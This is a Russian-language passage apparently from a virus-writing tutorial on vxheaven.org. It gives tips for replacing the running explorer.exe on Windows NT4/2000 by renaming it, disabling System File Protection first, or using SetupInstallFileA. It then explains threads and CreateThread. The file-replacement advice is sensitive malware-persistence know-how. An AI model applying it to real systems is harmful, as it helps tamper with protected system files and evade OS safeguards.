Однако, как выяснилось, MoveFileExA суть наиглючнейшая штука, и у кого он там работает, я не знаю, и ни под winNT 4 ни под win2000 нихуя заменить explorer.exe им не получилось.

Поэтому, в NT 3/4 просто переименовывайте старое имя файла в рандомное, даже если он сейчас исполняется; а под win2000 перед этим отключайте SFC. Ну и кроме этого есть SETUPAPI.DLL::SetupInstallFileA, что суть работающий аналог movefileex'а.

Hити.

Hить (thread) - это сущность, более всего напоминающая некий виртуальный процессор. В каждой нити - свой набор регистров. Ваш процессор последовательно их (регистры) перезагружает и по нескольку долей секунды (кванты времени) работает то в одной то в другой нити. В результате с точки зрения нити, она испольняется параллельно с остальными. В каждом процессе есть как минимум одна нить - основная. Хотя кроме основной, можно создавать и другие, используя CreateThread. Единственно и только с помощью CreateThread можно работать в адресном пространстве процесса параллельно с самим процессом.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua